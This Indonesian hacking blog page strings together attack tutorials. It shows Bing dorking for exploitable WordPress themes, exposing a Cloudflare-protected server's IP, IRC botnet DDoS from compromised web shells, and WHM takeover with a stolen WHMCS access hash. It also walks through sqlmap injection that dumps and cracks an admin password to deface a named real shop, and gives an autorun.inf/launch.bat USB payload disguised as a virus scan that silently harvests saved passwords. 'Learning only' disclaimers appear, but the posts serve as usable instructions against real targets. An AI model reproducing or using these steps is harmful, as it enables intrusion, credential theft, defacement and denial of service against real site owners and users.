Subgraph Vega Web Vulnerability Scanner

Vega adalah scanner gratis dan open source dan platform penetration test untuk menguji keamanan aplikasi web. Vega dapat membantu Anda menemukan dan memvalidasi SQL Injection, Cross-Site Scripting (XSS),  mengungkapkan informasi sensitif, dan kerentanan lainnya. Scanner ini ditulis dalam bahasa Java, yang berbasis GUI, dan dapat berjalan pada Linux, OS X, dan Windows.

Vega mencakup scanner otomatis untuk pengujian secara cepat dan memiliki fitur proxy dalam pemeriksaan taktis. Vega scanner dapat menemukan XSS (cross-site scripting), injeksi SQL, dan kerentanan lainnya. Vega dapat dikembangkan dengan menggunakan API dalam bahasa web: Javascript.

FETURES

Modules

• Cross Site Scripting (XSS)
• SQL Injection
• Directory Traversal
• URL Injection
• Error Detection
• File Uploads
• Sensitive Data Discovery

Core

• Automated Crawler and Vulnerability Scanner
• Consistent UI
• Website Crawler
• Intercepting Proxy
• SSL MITM
• Content Analysis
• Extensibility through a Powerful Javascript Module API
• Customizable alerts
• Database and Shared Data Model

Untuk menjalaankan scanner ini dibutuhkan aplikasi Java sebagai pendukung.

Java SE Development Kit 7u45 - Windows x86 | Download

Download Subgraph Vega Web Vulnerability Scanner :

• Mac OS X 32-bit Intel
• Mac OS X 64-bit Intel

• Linux GTK 32-bit Intel
• Linux GTK 64-bit Intel

• Microsoft Windows 32-bit (x86) JRE
• Microsoft Windows 64-bit JRE

Continue reading →

Dorking Dengan Bantuan Bing Grabber

Bing Grabber merupakan sebuah script python yang mampu mempercepat pencarian melalui penggunaan dork. Namun untuk Search Engine Bing, dork yang digunakan bagusnya berupa kata, kalau menggunakan dork intitle, filetype, biasanya hasilnya kurang maksimal.

Jadi langsung saja cara penggunaannya.

Kali ini saya coba mencari situs-situs yang menggunakan theme Gadgetine, sehingga bisa di exploitasi dengan menggunakan exploit orange-themes.

Pertama-tama saya ke tempat pembuat themenya terlebih dahulu, kemudian melihat tampilan theme Gadgetine secara default. Hal ini kita lakukan guna melihat tampilan default, sehingga link, text-text yang terdapat pada theme bisa kita jadikan dork.

Live: http://www.orange-themes.com/gadgetine/

Setelah saya amati, dan coba-coba, ternyata dork yang kita pakai untuk percobaan ini adalah "show all most recent news".

Ada baiknya kita buat folder tersendiri buat memudahkan penggunaannya. Setelah itu buat file baru dengan nama dork.txt. Isi file ini dengan dork yang tadi kita temukan "show all most recent news". Setelah itu kita eksekusi Bing Grabber ini.

1. python bing.py dork.txt 10
keterangan: dork.txt  = nama file tempat kita simpan dork
                    10       = Jumlah thread yang berjalan

2. Kalau sudah, maka akan terbuat file baru dengan nama bing.txt. Didalam bing.txt inilah hasil dari Bing Grabber, yang nantinya bisa kita coba exploit menggunakan exploit orange-themes.

3. Kalau mau mengganti dork, yah hapus dork sebelumnya dan masukkan lagi kedalam file dork.txt. Kemudian hasil dari dork sebelumnya yang tersimpan di file bing.txt juga dibersihkan terlebih dahulu.

Tampilan

Berminat ? download here

Dikutip dari Thread ID Ozie di forum IDCA.

Author : Bimo Septiawan

Continue reading →

Bypassing Cloudflare to Get Real IP Address

Assalamualaikum...

Pada artikel sebelumnya saya sudah membahas mengenai DDos attack dengan Botnet melalui IRC, banyak orang mengatakan bahwa teknik DDos itu cuma teknik kacangan yg sering digunakan para Lamers dalam melancarkan aksinya. Sebenarnya tidak ada yg mudah dalam hacking, apapun tekniknya semua itu butuh kerja keras dan usaha agar mampu menguasainya. Sekalipun katanya DDos merupakan teknik kacangan, tapi cukup ampuh dan juga berbahaya. Dengan teknik tersebut sobat bisa merobohkan satu persatu web server target dengan mudah. tapi bagaimana sekiranya web target dan IP addressnya dilindungi oleh Cloudflare ataupun Script anti DDos? Silahkan disimak aja yah :)

Pertama sobat tentukan targetnya dulu :) disini saya mengambil contoh target hacker-newbie.org :3 kenapa kok Hacker-newbie? karena saya berpikir bahwa om om hacker di hacker-newbie itu levelnya sudah professional mengenai Security dan Hardening Server. jadi tidak ada masalah hanya karena menghadapi teknik kacangan begini :) numpang lewat aja ya om :D v piiiis :D 

Note : Artikel ini hanya ditujukan sebagai pengetahuan dan pembelajaran. Segala bentuk tindakan dan penyalahgunaan diluar tanggung jawab penulis. use at your own risk!

Buka link IP Logger berikut :

http://iplogger.org/getnewid.php

Lalu copy link yang berada pada box  yg saya tandai.

Silahkan sobat Login ke web / forum target. lalu buka profile sobat dan pilih untuk mengubah Avatar
http://hacker-newbie.org/usercp.php?action=avatar

Selanjutnya paste kan url yg sudah di copy tadi ke box Avatar URL. lalu klik Change Avatar.

Saat proses pergantian Avatar, secara otomatis web server melakukan Ping terhadap url image tadi sehingga IP address web server tersebut terekam ke dalam log. kalo ada error abaiikan :)

Sekarang kita lihat hasilnya :) silahkan sobat buka link IP logger tadi dan klik View Log.

Nah,keliatan kn Real IP nya. Tinggal FIRE FIRE FIRE... :D

Cara diatas hanya merupakan sebuah gambaran singkat, tingkat keberhasilannya tergantung dari system keamanan dan configurasi yg ada pada server tersebut. jadi tidak semua IP address yg disembunyikan melalui fitur Cloudflare bisa di bypass dengan mudah. :D sekian saja, jika ada kesalah mohon di koreksi CMIIW!! Wassalamm.. :*

Quote: "Dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!" By Onix AQua 

Content Creator : Onix AQua

Continue reading →

Tools JCE Server Scanner (Python & PHP)

Assalamualaikum...

Berhubung saya lupa2 mulu mo posting ni tools, jadi maaf aja kalo udah telat hehehe :D Fungsi dari tools scanner ini yaitu memudahkan mencari target website dalam satu server yang vulnerable terhadap JCE secara otomatis sehingga tanpa harus mengecek vulnerabilitas webnya satu persatu :) silahkan di sedot aja yah :)

1. JCE Scanner (Python)


2. JCE Scanner (PHP)

Cara penggunaannya cukup simple, untuk menggunakan tools ini sobat harus menginstall Python dan PHP sebagai pendukung, karena kedua tools ini dibuat dari bahasa Python dan PHP :) disini sobat hanya memasukkan IP web targetnya, kemudian biarkan tools bekerja mencari web yang vuln JCE :D untuk tutorial JCE silahkan baca artikel sebelmnya disini Begitu saja yang bisa saya berikan, mudah2an bisa bermanfaat buat sobat semua...

Content Creator : Onix AQua

Continue reading →

DDos Attack via IRC / mIRC

Assalamualaikum...

DDoS attack adalah Distributed-Denial-of-Service attack, sebuah usaha untuk membuat suatu sumber daya komputer menjadi tidak bisa dipakai oleh user-nya, dengan menggunakan ribuan zombie system yang �menyerang� secara bersamaan. Tujuannya negatif, yakni agar sebuah website atau layanan online tidak bisa bekerja dengan efisien atau bahkan mati sama sekali, untuk sementara waktu atau selama-lamanya. Seperti yang kita ketahui bersama bahwa DDos merupakan teknik serangan yang paling ampuh yang digunakan para attacker dalam usaha menghancurkan website website target mereka. biasanya hal ini sering kita jumpai pada operasi operasi cyberwar. Banyak metode metode serang yang bisa digunakan dalam melakukan serangan. Perlu diketahui bahwa teknik DDos ini belum ada obatnya, jadi sangat berbahaya. ( Blablablabla.. onix mulai sok tau, wkwkwk ) Disini saya tidak akan mengulas masalah DDos secara detail, silahkan sobat cari sendiri di google yah,, wkwkwk   :p 

Sedikit cerita nih  sebenarnya saya mempelajari teknik ini memakan waktu hampir satu minggu :( dari awal build server IRCnya sampai load script perlnya ke server dan selama itu saya mengalami banyak kegagalan, terutama di script perl nya yang selalu error (bukan codel sih, jadi ga mudeng) wkwkwkk... :D Tapi itu semua ga pernah membuatku menyerah dalam belajar :) dan akhirnya saya meminta bantuan seorang teman yg nickname nya Antonkill, disitu saya hanya meminta script perl punya dia, dan wow, langsung bisa dah.. jadi kendala saya waktu itu cuma pada script perlnya aja.. wkkwkwwk big thanks aja to beliau :D

Lanjut ke permasalahan utama yah :) oke sekarang saya akan sedikit menjelaskan cara bagaimana teknik DDos yang dilakukan melalui IRC.. kalo saya biasa suka menyebutnya sebagai ZOMBIE :D dan bahan bahan yg sobat butuhkan seperti berikut:

1. Server IRC

2. Script Perl DDos

3. Web Shelled ( Perl ON and Safemode OFF )

4. mIRC ato sejenisnya :3

Pertama tentunya sobat harus memiliki servernya :v kalo ga punya sebaiknya numpang saja ya di tempat orang jadi ga repot2 beli dan build servernya. punya saya kena suspend :( wkwkwkwk jadi solusinya silahkan sobat daftar aja di Server IRC punya om jatimcom ato di servernya om Hacker-newbie :D

oke silahkan join dulu yah disana :D lalu buat juga channel yg sobat inginkan sebagai tempat tongkrongannya zombie2 nantinya. sebelumnya edit dulu scriptnya,, silahkan dirubah yg penting2 saja :)

kalo sudah semua, langsung  upload script perlnya ke shell sobat.. kemudian eksekusi dengan perintah : perl ddos

nah tunggu aja ntar pasti muncul di channel sobat :)

untuk melihat perintah2nya silahkan sobat ketik : !bot @help lalu !bot @ddos

sekarang saatnya uji coba :D silahkan sobat pilih metode serangannya.

Kalo hasilnya seperti gambar dibawah berarti zombienya bekerja. pokoknya ga pake repot bisa sambil nyantai2  dan ga menguras bandwidh internet sobat,, wkwkkwk :D

Demo punya ane tinggal dikit :3 banyak  yg ilang  kena suspend :(

Untuk hasil yang lebih maksimal, kumpulin aja sebanyak banyaknya :) 

Note : Untuk masalah script perl ddosnya silahkan sobat search di google aja. karena saya tidak punya kuasa untuk mengsharenya disini :) mohon dimaklumi :p

saya kira cukup segitu saja, jika ada kesalahan mohon dikoreksi :) mudah2an bermafaat bagi yang membutuhkan sebagai pengetahuan dan pembelajaran, harap jangan disalah gunakan :3

Quote: "Dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!" By Onix AQua 

Sekian dan Terimakasih :* Wassalamualaikum...

Content Created By Onix AQua

Continue reading →

Hack Web Host Manager (WHM)

Assalammualaikum�

Hallo sobat, lama nih ga buat tutor lagi :D rada2 males mah saya sekarang mo hacking2an.. hehehe :D  oke sekarang saya mo bahas mengenai cara Hack Web Host Manager (WHM) :p

Apa itu Web Host Manager (WHM) ? >>>> Google aja yah :p

Sebelum itu sobat harus bisa nanem Shell dolo, klo belum bisa gimana coba? lol :D Nah, Kalo hack WHM, disini kita butuh Config WHMCSnya  :3  ga semua web bisa nemu confignya :D nasip2an aja lol :D sebenarnya bisa juga dengan cara mengexploitasi bug pada whmcs, itu sobat pelajari ndiri yah :p  utk config killernya bisa gunain Shell idca, Garuda, hiddenymouz atau sobat bisa baca artikel kita sebelumnya Cara mencari config dalam website

Perhatian!

Tutorial ini dibuat sebagai pengetahuan dan pembelajaran saja, segala tindakan penyalahgunaan pada tutorial ini seperti pelanggaran hukum, pencurian dan pengerusakan, saya tidak bertanggung jawab! Use at your own risk! 

Quote: "Dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!" By Onix AQua

Berikut bahan2 yg sobat butuhkan:

1. Web Shelled 
2. Whmcs killer 
3. Config whmcs

Disini saya udah nemu config WHMnya :

 isi dalamnya seperti :

Kemudian kita buka whmcs killer yang sudah di upload ke dalam web. lalu klik Submit!

Nah, kita sudah masuk tuh, :D silahkan liat2 yoo :p

Akun WHMnya ada di H0st R00t, dan akun CPanelnya ada di Client Hosting Account

 Tinggal login aja, :p buka IP:Port dan untuk loggin ke WHM digunakn port 2086/2087

cth: 176.32.342.223:2086

udah pada bisa kan?  kalo ga bisa juga face factor pastinya :p nah, bagaimana kalo ga bisa loggin pake akun yang udah kita dapat? :o itu artinya password telah diubah oleh administratornya. kalo sobat menemukan kasus seperti ini, sobat bisa gunakan cara berikut:

Pertama sobat install dolo Addons firefox yang namanya Modify Header, klik aja disini

kemudian sobat liat di whmcs killer tadi pada kolom Access Hash.

Silahkan disusun sejajar dengan format : WHM username:AccessHash lihat gambar!

kemudian buka Modify Header, klik Select Action pilih Add. isi seperti berikut:

Header Name : Authorization
Header Value : WHM username:AccessHash

 Lalu save, dan klik Enable, kalo udah ada tanda hijau lalu klik Start

Setelah itu tinggal sobat buka WHMnya.. IP:Port

Mudah kan? :D semoga saja tutorial ini bermanfaat dan tidak disalahgunakan :) kalo disalahgunakan resiko dan Dosanya tanggung sendiri yah? :p Spesial big thanks to : Mauritania Attacker :* saya dapet ilmu dari blognya :3 dan sekian tutorial dari saya yah,  maaf kalo masih semerawut :D

 

Content Creator : Onix AQua

Continue reading →

Deface Dengan SQLMAP di WINDOWS 7

Assalamualaikum Wr, WB,

maaf yah om om sekalian, ane lama gak buat threat baru, nah sekarang mumpung ada waktu ane share nih cara deface website dengan SQLMAP di Backtrack 5 :D

Apa itu SQLMap ?


SQLMAP adalah penetrasi open source pengujian alat yang mengotomatisasi proses mendeteksi dan mengeksploitasi kelemahan SQL injection dan mengambil alih server database.
Sekarang tanpa basa-basi lagi kita mulai injeksi dengan sqlmap.

[+] BAHAN [+]

• Python [tonjok saya]
• Sqlmap [remas saya]
• Dork : inurl:/.php?*id=

[+] LANGKAHNYA MBAH BRO [+]

Untuk mengetahui website yang kalian mau Inject itu Vuln atau tidak , silahkan kasih tanda ( ' ) di akhir  url target, contoh : http://vana-shop.com/product.php?c=1 saya tambahin ' menjadi

• http://vana-shop.com/product.php?c=1' , nah kalo vuln nanti ada tulisan "you have an erro ...." mysql error dan sebagainya"

sekarang waktunya di hajar kalo udah ketemu web yang vuln :P

1. Setelah instal python, sekarang kalian extrack SQLMAPnya di Drive C:, setelah di extrack buka CMD lalu ketikan :

• cd\sqlmap\ , maka hasilnya akan seperti ini :

2. Stelah itu, kalian mulailah scan website target dengan perintah :

• sqlmap.py -u http://www.BUGWEBTARGET.com --dbs

Contoh Target : sqlmap.py -u http://vana-shop.com/product.php?c=1 --dbs , klik [ENTER]

3. Tuh kan keliatan DATABASE nya :D , sekarang waktunya kita scan dengan perintah :

• sqlmap.py -u http://TARGET.com -D nama_database -tables

Contoh Target : sqlmap.py -u http://vana-shop.com/product.php?c=1 -D k4735093_vnsh099 --tables , maka hasilnya akan seperti ini :

4. Nah keliatan kan Table di databasenya ? nah sekarang kita scan table tersebut (*cari yang menurut kalian terdapat info tentang user dan pass website) kalo udah yakin disana ada infonya, ketikan perintah :

• sqlmap.py -u http://www.TARGETWEBSITE.com -D nama_database -T nama_table --columns

Contoh Target : sqlmap.py -u http://www.vana-shop.com/product.php?c=1 -D k4735093_vnsh099 -T user --columns , tekan enter maka hasilnya akan seperti ini :

5. Nah setelah keliatan Tabelnya sekarang kita ketikan perintah :

• sqlmap.py -u http://www.target.com -D nama_database -T nama_table --dump

Contoh Target : sqlmap.py -u http://www.vana-shop.com/product.php?c=1 -D k4735093_vnsh099 -T user --dump , klik enter 

 Jika muncul tulisan seperti ini, ketik "n" lalu tekan enter "tanpa tanda kutip" :

• do you want to crack them via a dictionary-based attack? [Y/n/q] 

Maka Hasilnya akan seperti ini :

nah itu kita dapetin User + Passwordnya :D

User : admin

Pass : dfc560ef836a9a63c2bdbfb24a683624

Nah gimana tuh passwordnya kok aneh ? sekarang tugas kalian pecahin itu md5nya caranya pergi ke :

• Tujuan Pertama
• Tujuan Kedua
• Tujuan Ketiga
• Tujuan Keempat
• Tujuan Keenam

Nah setelah saya Decrypt ane dapetin nih :

Pass : dfc560ef836a9a63c2bdbfb24a683624 :: myluckyshop$

Sekarang tinggal login ke admin dan tebas deh :D

http://www.vana-shop.com/admin/

HASIL : 

masih kena deface tuh : http://www.vana-shop.com/

dah yah sekian dulu Postingnya, ane males ngetik lagi KWOKWOWK XD

Sama kan kayak make BACKTRACK 5 :D

Semoga berhasil :)

Content Creator : Bimo Septiawan a.k.a Cyber404

Continue reading →

Deface Dengan SQLMAP di Backtrack 5

Assalamualaikum Wr, WB,

maaf yah om om sekalian, ane lama gak buat threat baru, nah sekarang mumpung ada waktu ane share nih cara deface website dengan SQLMAP di Backtrack 5 :D

Apa itu SQLMap ?


SQLMAP adalah penetrasi open source pengujian alat yang mengotomatisasi proses mendeteksi dan mengeksploitasi kelemahan SQL injection dan mengambil alih server database.
Sekarang tanpa basa-basi lagi kita mulai injeksi dengan sqlmap.

[+} BAHAN [+]

• Python | Available on Backtrack
• Sqlmap | Available on Backtrack

[+] LANGKAHNYA MAS BRO [+]

(*Untuk Windows kalian cari dulu ke sini )

1. Kita cari dulu target yang mau kita scan (*jika ada bugs akan seperti ini)

2. Buka dulu SQLMAPnya, kalo di Backtrack 5 ketikan printah

• cd /pentest/web/scanners/sqlmap /

3. Ketikan printah ini :

• python sqlmap.py -u http://www.BUGWEBTARGET.com --dbs

Contoh target saya : python ./sqlmap.py -u http://vana-shop.com/product.php?c=1 --dbs

setelah itu klik enter, maka akan muncul Database Target (*See Image)

4. Setelah dapet nama Data Basenya kita ketikan printah :

• python sqlmap.py -u http://TARGET.com -D nama_database -tables

Contoh target saya : python ./sqlmap.py -u http://vana-shop.com/product.php?c=1 -D k4735093_vnsh099 --tables  [tekan enter] hasil :

5. Setelah dapat table pada databasenya silahkan cari table yang menurut kalian ada USER + PASS website tersebut, kali ini saya coba scan TABLE USER, dengan perintah :

• python sqlmap.py -u http://www.TARGETWEBSITE.com -D nama_database -T nama_table --columns

Contoh Punya Saya : python ./sqlmap.py -u http://www.vana-shop.com/product.php?c=1 -D k4735093_vnsh099 -T user --columns [lalu tekan ENTER] maka hasilnya akan seperti ini :

6. Setelah itu kita scan lagi table itu untuk mendapatkan user dan pass admin website, dengan perintah :

• python sqlmap.py -u http://www.target.com -D nama_database -T table --dump

Contoh Punya Saya : python ./sqlmap.py -u http://www.vana-shop.com/product.php?c=1 -D k4735093_vnsh099 -T user --dump [tekan ENTER]

Jika muncul tulisan seperti ini, ketik "n" lalu tekan enter "tanpa tanda kutip"

• do you want to crack them via a dictionary-based attack? [Y/n/q] maka hasilnya :

nah itu kita dapetin User + Passwordnya :D

User : admin

Pass : dfc560ef836a9a63c2bdbfb24a683624

Nah gimana tuh passwordnya kok aneh ? sekarang tugas kalian pecahin itu md5nya caranya pergi ke :

• Tujuan Pertama
• Tujuan Kedua
• Tujuan Ketiga
• Tujuan Keempat
• Tujuan Keenam

Nah setelah saya Decrypt ane dapetin nih :

Pass : dfc560ef836a9a63c2bdbfb24a683624 :: myluckyshop$

Sekarang tinggal login ke admin dan tebas deh :D

http://www.vana-shop.com/admin/

HASIL : 

masih kena deface tuh : http://www.vana-shop.com/

dah yah sekian dulu Postingnya, ane males ngetik lagi KWOKWOWK XD

Semoga berhasil :)

Content Creator : Bimo Septiawan a.k.a Cyber404

Continue reading →

LOIC (Low Orbit Ion Cannon)

LOIC merupakan salah satu DDoS tool yang cukup ampuh, karena kabarnya, para Anonymous di luar negeri sana banyak yang menggunakan tools ini dalam aksinya.

Sedangkan DDoS adalah singkatan dari Distributed Denial Of Service, yaitu usaha untuk membuat sumber daya komputer menjadi tidak bisa dipakai oleh usernya. Tujuannya negatif, yaitu dengan maksud agar sebuah website tidak mampu bekerja secara efisien, baik sementara atau permanen.

 

Download

Continue reading →

Cara Hack Password Facebook dengan USB

Tools yang dibutuhkan :

iepv -> mencuri password yang menggunakan internet explorer

mspass -> mencuri password messenger

mailpv -> curi password email

pspv -> mirip iepv, cman pspv bs mengambil password dari browser MSN, dan opera

passwordfox -> mirip iepv dan pspv, cman ini bisa jalan di firefox

Silahkan Download DISINI

step by step :

1. buka notepad dan ketik:

[autorun]

open=launch.bat

action= Perform a Virus Scan

Simpan nama file sebagai autorun.inf dan letakkan di USB

2. Buka notepad dan ketik

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Simpan dengan nama launch.bat dan letakkan di USB

Cara kerja :

1. Masukkan USB ke laptop or PC.

2. USB akan muncul secara otomatis, muncul pop-up windows dan pilih (Perform a Virus Scan).

3. Semua password yang ke record akan disimpan di .txt file

4. Lepaskan USB dan buka file .txt, semua akan terlihat disitu..

Note: "Artikel ini ditujukan sebagai pembelajaran, segala tindakan penyalahgunaan diluar tanggung jawab penulis. segala akibatnya ditanggung sendiri".

Sumber: http://www.onixaqua.blogspot.com/search/label/Hacking Facebook

Continue reading →